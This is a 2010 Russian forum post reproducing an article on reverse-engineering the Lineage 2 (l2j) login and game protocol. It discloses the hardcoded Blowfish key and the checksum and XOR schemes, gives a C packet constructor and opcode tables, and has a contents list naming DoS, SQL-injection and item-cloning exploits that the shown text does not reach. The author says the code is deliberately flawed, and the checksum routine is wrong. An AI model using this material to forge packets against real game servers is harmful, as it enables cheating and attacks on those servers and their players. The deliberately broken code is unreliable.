SkyShadow
22.03.2010, 01:49
Оглавление
Введение
[
1. Шифрование пакетов
2. Структура пакетов
3. Конструктор RequestAuthLogin-пакетов на Си
1. Процесс авторизации на сервере
2. Шифрование пакетов
3. Протокол
4. xID и ObjectID
5. Примеры пакетов:
a) скупка/продажа
b) личка
c) OID и IID
d) говорим с NPC на примере разучивания скиллов
1. отсутствие лимита на кол-во попыток авторизации
2. шифрование пакетов
3. Удалённое определение версии lineage2 сервера
4. Удалённое "подвешивание" login-сервера
5. Клонирование
6. Создание "мутантов" и смешение скиллов
7. Бессмертие
8. 'remote DoS' и что это даёт
9. integer overflow в сетевом движке l2j
10. SQL-injection
11. Заточка (или сказка о 100%-ом enchant'е)
12. Геодата (хождение сквозь стены)
13. Прикол с SocialAction (0x1b)
14. Баг в Ride (0x6a)
15. Выкидываем из игры чаров
16. Баг с RequestRestartPoint (оживление и побег из тюрьмы)
17. Раздеть чужого персонажа не зная ни логина, ни пароля - разве это реально?
18. Итог
Баги нового поколения
Пара слов о С4
Послесловие
Ссылки
Приложения к статье
Статьи
Что же такое lineage? Это представитель новомодного жанра (класса?) игрушек - MMORPG
(Massively Multiplayer Online Role-Playing Game). Я бы даже сказал один из самых
удачных и популярных, если не самый =). Конечно, трудно говорить о популярности этой
игры, т.к. посчитать точное количество "втянувшихся" в lineage, наверное, невозможно,
но такие серверы как [Ссылки могут видеть только зарегистрированные и активированные пользователи] (с максимально зарегистрированным онлайном в
10 000 человек) и оффициальный [Ссылки могут видеть только зарегистрированные и активированные пользователи] (со всеми 100 000, при том, что он платный)
дают понять, что цифра должна быть внушительной.
Суть игры заключается в том, что (как и в любой другой RPG) у вас есть свой персонаж и
огромный мир, в котором нужно добывать деньги, одежду, оружие, опыт. Для того, чтобы в конечном
итоге драться с такими же как ты игроками и тешить своё самолюбие победами. Некоторым людям,
у которых ну никак не ладится реальная жизнь, она позволяет самореализоваться в виртуальном мире -
стать известным воином и даже найти невесту (да, девушек в lineage играет тоже немало).
Среди всех остальных online (да и не только online) игр, lineage подкупает своей
графикой. Мне лично поначалу казалось невероятным, что кто-то смог создать такие
чудесные трёхмерные красоты для простой игры.
Но есть у игры и тёмные стороны. Во-первых, она имеет свойство затягивать. Причём не
просто затягивать, а вызывать зависимость, с которой крайне сложно бороться. Во-вторых,
сами понимаете, в индустрии, в которой крутятся сотни тысяч игроманов из практически
всех слоёв общества, дело без денег не обойдётся (как и всё в нашей жизни). Ведь у
некоторых людей, имеющих семью, работу, просто нет времени на то, чтобы месяцами
прокачивать своего персонажа до нужного уровня. Такая геймерская прослойка породила
на свет личностей, которые начали продавать игровые уровни и вещи за реальные деньги,
создав тем самым новую нишу в мире lineage. На данный момент, в зависимости от величины
сервера (и рейтов), стоимость хорошо одетого персонажа высокого уровня может варьироваться
от 300$ (на умирающем [Ссылки могут видеть только зарегистрированные и активированные пользователи]) до 5 000$ на официальном сервере. Самое смешное-
это покупка вещей у администрации того или иного сервера. Вдумайтесь, геймер платит
N-ное количество убитых енотов за то, чтобы админ добавил 1 запись в базу данных игры.
Вот как делают деньги из воздуха.
Что же, я что-то увлёкся описанием игры ) Сказывается год ,на неё потраченный.
Безусловно, в подобной индустрии (где закручены деньги и тучи наивных и, порой глупых
геймеров) дело без нас - пытливых умов - обойтись не может. Кто-то покупает персонажей,
кто-то создаёт и прокачивает сам, мы же выбираем третий, непроторённый путь.
Дело в том, что за несколько лет существования этой игры, в ней не было найдено не одной
уязвимости (за исключением сугубо игровых багов), для неё не было написано не одной программы,
которая могла бы открыть злоумышленникам доступ в чужие аккаунты. А знаете почему?
Мне кажется, молодых, неопытных багоискателей (постами которых пестрит bugtraq) отталкивало злое
шифрование пакетов в lineage. Причём, даже в расшифрованном виде, они представляют собой
беспорядочный набор символов.
Может быть, старички помнят мою статью про протокол клиент-серверного взаимодействия и
уязвимости Half-Life ([Ссылки могут видеть только зарегистрированные и активированные пользователи]). Целью той статьи было
описать игру и предоставить на блюдечке почти всё, чего я достиг в её изучении. В этой же статье
я поведаю как же расшифровывать траффик lineage2, расскажу немного об особенностях
протокола, ну и предоставлю несколько наработок (как своих так и чужих), все остальное
публиковать не буду, так как повальное использование оного может привести к хаосу в этом
прекрасном, сбалансированном и вполне сформировавшемся виртуальном мире =)
1. сразу предупреждаю, я иногда буду возвращаться к статье про half-life, ибо аналогии помогут
вам легче понять написанное. Да и мне писать проще.
2. статья писалась на основе анализа расшифрованных пакетов и изучения исходного
кода "самопального" lineage2 сервера l2j, написанного на яве. Соответственно, статья 100%
действительна для l2j, а для официального настолько, насколько l2j действителен для него =)
3. все исходники написаны под linux. Для компиляции нужна либла blowfish. Либлы из openssl
package подойдут при маленькой модификации кода.
4. кстати о модификации кода. В исходниках, предоставленных в статье, есть небольшие ошибки
в логике, дабы исключить их бездумное использование. Если вы вникнете в статью, то и пофиксить
их не будет проблемой.
5. и последнее. Полная версия статьи была доступна долгое время (пол года) только ограниченному
числу людей и с выходом с4 версии lineage2 и фиксами большинства багов резко устарела.
Про С4 я расскажу немного в конце.
Введение.
Начнём с того, что разработчики lineage2 отделили логин сервер от игрового, дабы более менее
разгрузить и без того забитый канал игрового сервера. Кроме того, логин сервер имеет свойство
повисать (причём, это началось с с3 версии lineage и продолжается по сей день) и не пускать
пользователей на сервер. Зато те, кто уже играют, не испытывают совершенно никакого дискомфорта =)
А вследствие отсутсвия всё тех же багоискателей, которые могли бы найти и внятно объяснить девелоперам,
где же всё-таки закрался баг, он остаётся до сих пор непофиксанным. Так вот, не смотря на всю прелесть
идеи с разгрузкой игрового канала, наши отечественные админы упорно лепят логин сервер на одну машину
вместе с игровым.
Для шифрования пакетов, которыми login-сервер обменивается с клиентом, lineage использует blowfish.
Да, тот самый алгоритм, который был разработан Брюсом Шнейером в 1993 году. Про blowfish важно знать,
что это симметричный блочный шифр. Симметричный - означает, что алгоритм использует 1 секретный
ключ, которым и шифруются/дешифруются данные. А если говорить конкретно о blowfish, то на основе
этого ключа генерируются 18 32-битных подключей и 4 матрицы размером 256 32-битовых слов каждая.
Которыми, в свою очередь, шифруются/дешифруются данные.
Блочный шифр - означает, что blowfish обрабатывает данные блоками (по 8 байт). А ещё это означает,
что если целостность шифротекста была нарушена, то часть мы по-любому сможем восстановить.
Применительно к lineage, нужно сказать, что ключ, на основе которого генерируются подключи,
является константой и чётко прописан в исходниках l2j (вот на чём сыпались 99% исследователей
lineage, которые предполагали, что ключ должен передаваться в одном из пакетов - см. ссылки в
конце). Ещё важно отметить то, что первые 2 байта данных пакета _не_шифруются_.
Чтож, с шифрованием, я думаю, мы разобрались. Идём дальше.
Первые два байта пакета (те, которые не шифруются) содержат длину данных пакета (как и в halflife).
Следующий байт несёт в себе информацию о типе пакета. Логин-сервер обрабатывает пакеты:
0x00 - RequestAuthLogin (запрос на авторизацию - содержит логин и пароль)
0x02 - RequestServerLogin (запрос на заход на сервер)
0x05 - RequestServerList (запрос на список серверов)
На остальные он попросту не отвечает, оставляя лишь запись в логах. Клиентом же обрабатываются
пакеты следующих типов:
0x01 - авторизация не прошла
0x03 - вы успешно авторизованы
0x04 - ответ на RequestServerLogin
0x06 - ответ на RequestServerList
А также несколько дополнительные пакетов о бане аккаунта, проверки версии и тд - они представлены ниже.
Следующий байт является дополнительным к вышеописанным запросам. Например, если сервер ответил
нам на запрос авторизации пакетом типа 0x01, то следующий байт будет содержать причину, по
которой авторизация не прошла (для нас важны: 0x03 - неверный логин или пароль, 0x07 - кто-то уже
юзает аккаунт, 0x11 - установлен временный пароль). Но на самом деле этот байт уже не совсем служебный.
Например, в RequestAuthLogin пакетах с этого байта начинается логин.
Далее идёт Н-ное число байт, которые уже не являются управляющими, а несут информацию, определяемую
типом пакета. Ну, например, для "RequestAuthLogin" это поле содержит логин и пароль.
Важное предназначение имеют последние 8 байт пакета. Они содержат чексуму всего того, что идёт до
них, за исключением опять же первых двух байт пакета. Каким же образом вычисляется эта самая чексумма?
Из данных поочерёдно отделяются 32-битные слова. Первое XOR'ится со вторым. Результат этой операции
XOR'ится со следующим словом и так далее. Пример вычисления чексуммы будет продемонстрирован ниже.
/*
la2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor
Helps to understand lineage2 authentification.
darkgrey / m00.blackhat.ru
~broken
*/
#include "/usr/local/include/blowfish.h"
// длина ключа
#define KEY_LEN 20
// длина RequestAuthLogin пакета постоянна и равна AUTH_PKT_LEN + 2
#define AUTH_PKT_LEN 0x30
// ключ, на основе которого генерируются sub-keys (подключи)
char key[] = "[;'.]94-31==-&%@!^+]";
// структура bfkey, которая после генерации подключей будет содержать
// 18 P подключей и 4 S матрицы
BF_KEY bfkey;
// функция, которая вычисляет чексумму и вставляет её в пакет
int add_ckecksum(char *raw, int count) {
long chksum = 0L;
int i = 0;
long ecx;
for(i = 0; i < count; i += 4) {
ecx = raw[i];
ecx |= raw[i + 1];
ecx |= raw[i + 2];
ecx |= raw[i + 3];
chksum ^= ecx;
}
printf("checksum: 0x%x\n",chksum);
memcpy(raw+count, (char *)&chksum, 4);
}
// добавляет логин и пароль в пакет (отделено от основной функции
// из соображений читабельности)
int add_lp(char *raw, char *l, char *p) {
l[15] = '\0';
p[17] = '\0';
memcpy(raw+3,l,strlen(l));
memcpy(raw+17,p,strlen(p));
}
// выводит на экран пакет в читабельном виде (для отладки)
int print_packet(char *raw, int len) {
int i, c = 0;
for(i=0;i<54;i++) printf("_");
for(i=0;i<len+2;i++) {
if((c % 0x10)==0) printf("\n0x%.2x | ", c);
printf("%.2x ",raw[i] & 0xFF);
c++;
}
printf("\n\n");
}
// главная функция, которая конструирует пакет
int build_auth_packet(char *login, char *pwd) {
int count = AUTH_PKT_LEN / 8;
int i;
char packet_skeleton[] =
// каркас пакета RequestAuthLogin
"\x32\x00" // длина пакета постоянна и равна 0x30 + 0x02
"\x00" // тип пакета (0x00 - RequestAuthLogin)
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00" // login
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00" // password
"\x08" // означает конец секции login/password
"\x00\x00\x00\x00\x00\x00\x00\x00" // в c3 не применяется (зарезервированно?)
"\x00\x00\x00\x00" // чексумма
"\x00\x00\x00\x00";
// добавляем логин и пароль в пакет
add_lp(packet_skeleton, login, pwd);
// считаем и добавляем чексумму
add_ckecksum(packet_skeleton + 2, AUTH_PKT_LEN - 8);
printf("Auth packet dump (non-crypted):\n");
print_packet(packet_skeleton, AUTH_PKT_LEN);
// шифруем блоками по 8 байт
for(i = 0; i < count; i++)
BF_encrypt((BF_LONG *)((short*)&packet_skeleton+1+i*4), &bfkey, BF_ENCRYPT);
printf("Auth packet dump (encrypted):\n");
print_packet(packet_skeleton,AUTH_PKT_LEN);
}
int main() {
char login[] = "m00", // тестовый логин
pwd[] = "ownzu"; // пароль
printf("\nla2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor\n\n");
// генерируем sub-keys
BF_set_key(&bfkey, KEY_LEN, key);
// собираем пакет
build_auth_packet(login, pwd);
}
/* eof */
Вот что на моём боксе программа вывела на экран:
bash-2.05b$ ./a.out
la2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor
checksum: 0x224a0377
Auth packet dump (non-crypted):
__________________________________________________ ____
0x00 | 32 00 00 6d 30 30 00 00 00 00 00 00 00 00 00 00
0x10 | 00 6f 77 6e 7a 75 00 00 00 00 00 00 00 00 00 00
0x20 | 00 08 00 00 00 00 00 00 00 00 77 03 4a 22 00 00
0x30 | 00 00
Auth packet dump (encrypted):
__________________________________________________ ____
0x00 | 32 00 09 d9 97 e2 29 89 8c b5 1a a0 1a 83 74 43
0x10 | 39 fc 2f 03 c3 26 9c 65 b0 c4 20 28 11 c1 6a 95
0x20 | 3e 44 45 46 2a ae b9 18 91 2e 75 56 d0 dc 40 b5
0x30 | 77 2a
bash-2.05b$
1) логин сервер посылает нам приветствие в виде пакета длиной 11 байт (вообще он содержит информацию о версии).
2) мы отвечаем ему RequestAuthLogin запросом
3) если пароль верный, посылает нам пакет с 32-ух битным номером нашего аккаунта (он всегда постоянный) - будем
звать его SessionKey #1.
4) мы отсылаем RequestServerList, на что сервер нам отвечает списком серверов, содержащим ипы,
порты, число играющих пользователей, максимальное число пользователей.
5) мы отсылаем RequestServerLogin, на что сервер проверяет наш AccessLevel (если он равен -1, значит мы забанены)
и в зависимости от нашего логина, пароля, уровня доступа и сокета, генерирует уникальный
32-битный SessionKey #2, по которому в последствие нас авторизует game-сервер.
Если же игровой сервер в дауне, имитирует это состояние (админы делают это для проведения работ на сервере)
или просто-напросто полон, отказывается нас принять.
6) если всё хорошо, лезем на игровой сервер. Отсылаем ему некий пакет (для каждого С3 сервера он свой,
но константный), на что он отвечает 12-ти байтным пакетом, содержащим первые 4 байта ключа, которые
скрепляем с другими 4-мя байтами (которые постоянны) и получаем 64-ёх битный ключ. В дальнейшем будем
использовать его для расшифровки и зашифровки игровых пакетов. Важно отметить, что с каждым
рас(за)шифрованным пакетом, его длина прибавляется к первой части ключа.
7) отсылаем ему логин и два идентификатора (уже в зашифрованном виде), которые мы получили в сеансе
с login-сервером. В ответ получаем список персонажей.
Вот так, в 7 этапов мы авторизуемся на сервере =) Сложно, зато безопасно.
Возможно, у кого-то из вас возник вопрос: а возможно ли зайти на игровой сервер напрямую? Без участия
логин сервера. Об этом я напишу ниже.
Как я уже писал выше, для шифрования игровых пакетов lineage использует 64-битный ключ. Первые
его 4 байта берутся из самого первого пакета game-сервера, вторые же-константы. Далее берётся N-ный символ
из открытого текста, XOR'ится с N-ным байтом ключа. Параллельно с этим XOR'ится (N-1)-ный символ
из открытого текста по 0xFF. Над результатами обоих вычислений проводится операция "поразрядное И".
И по такому алгоритму шифруется каждый символ начиная с первого. Как видите, как будет зашифрован
каждый последующий символ, зависит от предыдущего. А это значит, что если у нас по тем или иным
причинам повреждена первая часть пакета, либо её попросту нет, расшифровать вторую часть мы не
сможем. Ну это так, к слову. На самом деле это для нас не важно.
Ещё важно отметить то, что первая часть ключа переменна. С каждым новым расшифрованным пакетом,
к первым 4-ём байтам прибавляется длина этих данным. То есть, имея первоначальный ключ (на момент
соединения с логин сервером) и, выдернув пакет в определённый момент из сеанса с game-сервером,
расшифровать его мы не сможем. Для этого нам нужно восстановить все пакеты, которые были до него.
В принципе, количество возможных комбинаций ключа равно ~423 миллиона. С учётом простоты
алгоритма, современные компьютеры смогут произвести где-то 10 000 итераций в секунду (может даже
и больше) и найти ключ максимум за 12 часов. Но для этого нам понадобится знать хотя бы примерно
содержание пакета.
Для чего авторы сделали ключ переменным? Думаю, всем понятно, в целях безопасности. Хотя, речь идёт
о TCP (а не о UDP как в том же самом halflife), в котором кому-то постороннему "вклиниться" в сеанс
крайне затруднительно.
Как и в пакетах login-сервера, первые два байта отводятся под длину. Далее байт означает тип пакета.
Вот типы пакетов, которые должен обрабатывать С3 клиент lineage2 (некоторые буду комментировать):
// отсылает login-сервер
0x01 loginfail2
0x02 accountKicked1
0x03 loginok
0x04 serverlist
0x05 serverfail
0x06 playfail
0x07 playok
0x08 accountKicked
0x09 blockedAccMsg // бан
0x20 protocol version different
0x00 VersionCheck
// отсылает game-сервер
0x01 MoveToLocation
0x02 NpcSay
0x03 CharInfo // имеется в виду окружающие персы
0x04 UserInfo
0x06 Attack
0x07 Attack
0x08 Attacked
0x09 Attacked
0x0a AttackCanceld
0x0b Die
0x0c Revive
0x0d AttackOutOfRange
0x0e AttackInCoolTime
0x0f AttackDeadTarget
0x10 LeaveWorld
0x11 AuthLoginSuccess
0x12 AuthLoginFail
0x13 CharList // список чаров
0x15 SpawnItem // на некоторых С3 ответ на выбор чара
0x16 DropItem // на некоторых С3 передаёт инфо о мобе
0x17 GetItem
0x18 EquipItem
0x19 UnequipItem
0x1a StatusUpdate
0x1b NpcHtmlMessage // на некоторых С3 передаёт список шмота с ItemID и их ObjectID
0x1c SellList
0x1d BuyList
0x1e DeleteObject
0x1f CharSelectInfo
0x20 LoginFail
0x21 CharSelected
0x22 NpcInfo
0x23 NewCharacterSuccessPacket
0x24 NewCharacterFailPacket
0x25 CharCreateOk
0x26 CharCreateFail
0x27 ItemList
0x28 SunRise
0x29 SunSet
0x2a EquipItemSuccess // устарел
0x2b EquipItemFail // устарел
0x2c UnEquipItemSuccess // устарел
0x2d UnEquipItemFail // устарел
0x2e TradeStart
0x2f TradeStartOk // устарел
0x30 TradeOwnAdd
0x31 TradeOtherAdd
0x32 TradeDone
0x33 CharDeleteSuccess
0x34 CharDeleteFail
0x35 ActionFail
0x36 ServerClose
0x37 InventoryUpdate
0x38 TeleportToLocation
0x39 TargetSelected
0x3a TargetUnselected
0x3b AutoAttackStart
0x3c AutoAttackStop
0x3d SocialAction
0x3e ChangeMoveType
0x3f ChangeWaitType
0x40 NetworkFail // устарел
0x43 CreatePledge
0x44 AskJoinPledge
0x45 JoinPledge
0x46 WithdrawalPledge
0x47 OustPledgeMember
0x48 SetOutPledgeMember
0x49 DismissPledge
0x4a SetDismissPledge
0x4b AskJoinParty
0x4c JoinParty
0x4d WithdrawalParty
0x4e OustPartyMember
0x4f SetOustPartyMember
0x50 DismissParty
0x51 SetDismissParty
0x52 MagicAndSkillList
0x53 WarehouseDepositList
0x54 WarehouseWithdrawalList
0x55 WarehouseDone
0x56 ShortCutRegister
0x57 ShortCutInit
0x58 ShortCutDelete
0x59 StopMove
0x5a MagicSkillUser
0x5b MagicSkillCanceld
0x5d CreatureSay
0x5e EquipUpdate
0x5f StopMoveWithLocation
0x60 DoorInfo
0x61 DoorStatusUpdate
0x63 PartySmallWindowAll
0x64 PartySmallWindowAdd
0x65 PartySmallWindowDeleteAll
0x66 PartySmallWindowDelete
0x67 PartySmallWindowUpdate
0x68 PledgeShowMemberListAll
0x69 PledgeShowMemberListUpdate
0x6a PledgeShowMemberListAdd
0x6b PledgeShowMemberListDelete
0x6c MagicList // устарел
0x6d SkillList
0x6e VehicleInfo
0x6f VehicleDeparture
0x70 VehicleCheckLocation
0x71 GetOnVehicle
0x72 GetOffVehicle
0x73 TradeRequest
0x74 RestartResponse
0x75 MoveToPawn
0x76 SetTo
0x77 StartRotating
0x78 FinishRotating
0x79 MoveBackwardToLocation // имеется ввиду скилл или to_the_nearest_village после смерти
0x7a SystemMessage
0x7d StartPledgeWar
0x7e ReplyStartPledgeWar
0x7f StopPledgeWar
0x80 ReplyStopPledgeWar
0x81 SurrenderPledgeWar
0x82 ReplySurrenderPledgeWar
0x83 SetPledgeCrest // устарел
0x84 PledgeCrest
0x85 SetupGauge
0x86 ShowBoard
0x87 ChooseInventoryItem
0x89 MoveToLocationInVehicle
0x8a StopMoveInVehicle
0x8b ValidateLocationInVehicle
0x8c TradeOtherAdd2
0x8d TradePressOwnOK // устарел
0x8e MagicSkillLaunched
0x8f FriendAddRequestResult
0x90 FriendAdd // устарел
0x91 FriendRemove // устарел
0x92 FriendList // устарел
0x93 FriendStatus // устарел
0x94 TradePressOtherOk // устарел
0x95 FriendAddRequestResult2
0x96 LeaveWorld2
0x97 AbnormalStatusUpdate
0x98 QuestList
0x99 EnchantResult
0x9a AuthServerList // устарел
0x9b PledgeShowMemberListDeleteAll
0x9c PledgeInfo
0x9d PledgeExtendedInfo
0x9e SurrenderPersonally
0x9f Ride
0xa1 PledgeShowInfoUpdate
0xa2 ClientAction
0xa3 AquireSkillList
0xa4 AquireSkillInfo
0xa5 ServerObjectInfo
0xa6 HideGm
0xa7 AquireSkillDone
0xa8 GMViewCharacterInfo
0xa9 GMViewPledgeInfo
0xaa GMViewSkillInfo
0xab GMviewMagicInfo
0xac GMViewQuestInfo
0xad GMViewItemList
0xae GMViewWarehouseWithdrawList
0xaf PartyMatchList
0xb0 PartyMatchDetail
0xb1 PlaySound
0xb2 StaticObject
0xb3 PrivateSellList2
0xb4 PrivateBuyList2
0xb5 PrivateStoreMsg
0xb6 ShowMinimapPacket
0xb7 ReviveRequest // устарел
0xb8 AbnormalVisualEffect
0xb9 TutorialShowHtml
0xba TutorialShowQuestionMark
0xbb TutorialEnableClientEvent
0xbc TutorialClose
0xbd ShowRadar
0xbe DeleteRadar
0xbf MyTargetSelected
0xc0 PartyMemberPosition
0xc1 AskJoinAlliance
0xc2 JoinAlliance
0xc3 WithdrawAlliance
0xc4 OustAllianceMemberPledge
0xc5 DismissAlliance
0xc6 SetAllianceCrest // устарел
0xc7 ReceiveAllyCrest
0xc8 ServerCloseSocket // устарел
0xc9 PetStatusShow
0xca PetInfo
0xcb PetItemList
0xcc PetInventoryUpdate
0xcd AllianceInfo // устарел
0xce PetStatusUpdate
0xcf PetDelete
0xd0 PrivateSellList
0xd1 PrivateBuyList
0xd2 PrivateStoreMsg
0xd3 VehicleStart
0xd4 RequestTimeCheck
0xd5 StartAllianceWar
0xd6 ReplyStartAllianceWar // устарел
0xd7 StopAllianceWar
0xd8 ReplyStopAllianceWar // устарел
0xd9 SurrenderAllianceWar // устарел
0xda SkillCoolTimePacket
0xdb PackageToListPacket
0xdc PackageSendableListPacket
0xdd EarthQuake
0xde FlyToLocation
0xdf BlockList // устарел
0xe0 SpecialCamera
0xe1 NormalCamera
0xe2 CastleSiegeInfoPacket
0xe3 CastleSiegeAttackerList
0xe4 CastleSiegeDefenderList
0xe5 NickNameChanged
0xe6 PledgeStatusChanged
0xe7 RelationChanged
0xe8 OnEventTrigger
0xe9 MultiSellListPacket
0xea SetSummonRemainTime
0xeb OnSkillRemainSec
0xec NetPingPacket
От клиента серверу:
0x01 MoveBackwardToLocation
0x02 Say
0x03 EnterWorld
0x04 Action
0x08 RequestAuthLogin
0x09 Logout
0x0a Attack
0x0b CharacterCreate
0x0c CharacterDelete
0x0d CharacterSelect
0x0e NewCharacter
0x0f ItemList
0x10 RequestEquipItem
0x11 RequestUnEquipItem
0x12 RequestDropItem
0x12 RequestDropItemFromPet
0x14 UseItem
0x15 TradeRequest
0x16 AddTradeItem
0x17 TradeDone
0x1a RequestTeleport
0x1b SocialAction
0x1c ChangeMoveType // устарел. Теперь юзается 'RequestActionUse'
0x1d ChangeWaitType // устарел. Теперь юзается 'RequestActionUse'
0x1e RequestSellItem
0x1f RequestBuyItem
0x20 RequestLinkHtml
0x21 RequestBypassToServer
0x22 RequestBBSwrite
0x23 RequestCreatePledge
0x24 RequestJoinPledge
0x25 RequestAnswerJoinPledge
0x26 RequestWithDrawalPledge
0x27 RequestOustPledgeMember
0x28 RequestDismissPledge
0x29 RequestJoinParty
0x2a RequestAnswerJoinParty
0x2b RequestWithDrawalParty
0x2c RequestOustPartyMember
0x2d RequestDismissParty
0x2e RequestMagicSkillList
0x2f RequestMagicSkillUse
0x30 Appearing
0x31 SendWareHouseDepositList
0x32 SendWareHouseWithDrawList
0x33 RequestShortCutReg
0x34 RequestShortCutUse
0x35 RequestShortCutDel
0x37 RequestTargetCancel
0x38 Say2 // приват (на некоторых серверах - la2.ru - юзается 0x39)
0x3c RequestPledgeMemberList
0x3e RequestMagicList
0x3f RequestSkillList
0x41 MoveWithDelta
0x42 GetOnVehicle
0x43 GetOffVehicle
0x44 AnswerTradeRequest
0x45 RequestActionUse
0x46 RequestRestart
0x47 RequestSiegeInfo
0x48 ValidatePosition
0x49 RequestSEKCustom
0x4a StartRotating
0x4b FinishRotating
0x4d RequestStartPledgeWar
0x4e RequestReplyStartPledgeWar
0x4f RequestStopPledgeWar
0x50 RequestReplyStopPledgeWar
0x51 RequestSurrenderPledgeWar
0x52 RequestReplySurrenderPledgeWar
0x53 RequestSetPledgeCrest
0x55 RequestGiveNickName // вообще юзается для установки тайтла CL'ами. Может для чего ещё..
0x57 RequestShowboard
0x58 RequestEnchantItem
0x59 RequestDestroyItem
0x5b SendBypassBuildCmd
0x5e RequestFriendInvite
0x5f RequestFriendAddReply
0x60 RequestFriendList
0x61 RequestFriendDel
0x62 CharacterRestore
0x63 RequestQuestList
0x64 RequestDestroyQuest
0x66 RequestPledgeInfo
0x67 RequestPledgeExtendedInfo
0x68 RequestPledgeCrest
0x69 RequestSurrenderPersonally
0x6a Ride
0x6b RequestAcquireSkillInfo
0x6c RequestAcquireSkill
0x6d RequestRestartPoint
0x6e RequestGMCommand
0x6f RequestPartyMatchConfig
0x70 RequestPartyMatchList
0x71 RequestPartyMatchDetail
0x72 RequestCrystallizeItem
0x73 RequestPrivateStoreManage
0x74 SetPrivateStoreList
0x75 RequestPrivateStoreManageCancel
0x76 RequestPrivateStoreQuit
0x77 SetPrivateStoreMsg
0x78 RequestPrivateStoreList
0x79 SendPrivateStoreBuyList
0x7a ReviveReply
0x7b RequestTutorialLinkHtml
0x7c RequestTutorialPassCmdToServer
0x7d RequestTutorialQuestionMark
0x7e RequestTutorialClientEvent
0x7f RequestPetition
0x80 RequestPetitionCancel
0x81 RequestGMList
0x82 RequestJoinAlly
0x83 RequestAnswerJoinAlly
0x84 RequestWithdrawAlly
0x85 RequestOustAlly
0x86 RequestDismissAlly
0x87 RequestSetAllyCrest
0x88 RequestAllyCrest
0x89 RequestChangePetName
0x8a RequestPetUseItem
0x8b RequestGiveItemToPet
0x8c RequestGetItemFromPet
0x8e RequestAllyInfo
0x8f RequestPetGetItem
0x90 RequestPrivateStoreBuyManage
0x91 SetPrivateBuyList
0x92 RequestPrivateStoreBuyManageCancel
0x93 RequestPrivateStoreBuyQuit
0x94 SetPrivateBuyMsg
0x95 RequestPrivateStoreBuyList
0x96 SendPrivateStoreBuyBuyList
0x97 SendTimeCheckPacket
0x98 RequestStartAllianceWar
0x99 ReplyStartAllianceWar
0x9a RequestStopAllianceWar
0x9b ReplyStopAllianceWar
0x9c RequestSurrenderAllianceWar
0x9d RequestSkillCoolTime
0x9e RequestPackageSendableItemList
0x9f RequestPackageSend
0xa0 RequestBlock
0xa1 RequestCastleSiegeInfo
0xa2 RequestCastleSiegeAttackerList
0xa3 RequestCastleSiegeInfo
0xa4 RequestJoinCastleSiege
0xa5 RequestConfirmCastleSiegeWaitingList
0xa6 RequestSetCastleSiegeTime
0xa7 RequestMultiSellChoose
0xa8 NetPing
Как видите, большинство клиентских пакетов начинается со слова Request, что переводится как "запрос".
Да, действительно, весь процесс игры выглядит примерно так: сервер постоянно передаёт нам состояние мира,
положение мобов/игроков/npc и тд. Мы же, когда что-то надо (пойти, атаковать и тд) передаём "запрос". Всё
очень просто.
Каждая вещь (предмет, NPC) в игре имеет свой 16/32-битный идентификатор (профессии - 8-ми битный).
Его смысл в том, что, согласитесь, удобнее передавать по сети 2/4-х байтное число, чем фразу Н-ной длины вроде:
"Crystal Scroll: Enchant Weapon (Grade B)" или ник NPC вроде "Magister MacTePqpJlOMaCTeP". Как вы понимаете, он
служит для идентификации того или иного объекта. Список этих идентификаторов и соответствующих им NPC/предметов
храниться и на сервере и клиенте, и между собой они никак не синхронизируется. То есть, если сменить эту таблицу
на сервере, то нужно патчить и клиент - это одна из причин, почему у каждого сервера свой патч.
Помимо этого идентификатора есть ещё 32-ух битный Object ID. После захода в игровой мир, сервер присваивает
каждому из предметов, которые есть у перса, свой уникальный OID. Причём OID каждого последующего предмета есть
OID текущего -1. То есть OID генерируется отнюдь не рандомно, а по порядку. После присвоения, OID
резервируется, так чтобы никто больше не умудрился получить аналогичный. Эта информация, кстати, не
подтверждена исходниками, то есть является моим собственным умозаключением. Если же это не так, то по
прошествию полного круга (от 0xFFFFFFFF до 0x00000000) может получится так, что уже занятый OID будет присвоен
новой шмотке, что приведят к неизвестным последствиям (возможности клонирования или простому падению сервера).
Но проблема в том, что диапазон OID довольно таки велик :) А если быть более точным, нужно присвоить OID
~4.3 млрду вещей, чтобы пройти полный круг, что даже на сервере с мега-онлайном займёт Н-ное число дней
(а может и недель). Ещё раз повторюсь, это всего-лишь предположение. Но дело в том, что я, например, не
видил ниодного la2 сервера (даже офф) с аптаймом более недели. Может проблема как раз в этом?
А в целом, OID нужен для борьбы с клонированием. А точнее с выявлением оного.
Что касается NPC, OID у них выдаётся по такому же закону, но при появлении NPC в мире. С OID персонажей то же самое.
Для того, чтобы поставить на скупку предмет, нам нужно воспользоваться 3-мя пакетами.
Первый 0x94 (SetPrivateBuyMsg). Как видно из названия он устанавливает то сообщение, которое будет
выводится над головой у перса в момент торговли (то, которое на жёлтом фоне). Вот пример:
// SetPrivateStoreBuyMsg пакет
XX XX // Размер данных
94 // тип пакета
41 00 41 00 41 00 42 00 42 00 42 00 // текст. Символы должны быть разделены между собой null-байтом.
00 00 // конец пакета
Далее используем пакет типа 0x91 (SetPrivateBuyList). В нём как раз передаём количество предметов,Item ID
и цену. Например:
// SetPrivateStoreList пакет
XX XX // Размер данных
91 // тип пакета
01 00 00 00 // количество вещей
// начало блока
e1 02 00 00 // Item ID
00 00
01 00 00 00 // сколько предметов данного типа скупить
e8 03 00 00 // цена
// конец блока
Немного поясню этот пакет. Им мы поставили на скупку 1 вещь с IID 0x2e1 (Scroll of Resurrection) за 1000 аден.
И последний пакет типа 0x1d. Он непосредственно запускает торговлю:
XX XX // размер данных
1d // тип
01 00 00 00 // кол-во
Что касается продажи, то там практически всё то же самое. Только вместо 'SetPrivateBuyMsg' юзаем
'SetPrivateStoreMsg', а вместо 'SetPrivateBuyList' - 'SetPrivateStoreList' соответственно.
А, чуть не забыл, вместо Item ID юзаем Object ID, потому что мы продаём какой-то конкретный предмет.
Тут всё очень просто.
XX XX // размер данных
38 // тип пакета (Say2)
42 00 42 00 42 00 42 // сообщение (BBBB)
00 00 00 02 00 00 00 // пробел =)
41 00 41 00 41 00 41 // ник (АААА)
00 00 00 // конец
XX XX // длина пакета
1b // тип пакета (0x1b на antaras.ru)
00 00
05 00 // количество предметов
04 00 // тип шмотки
1e 26 14 40 // Object ID
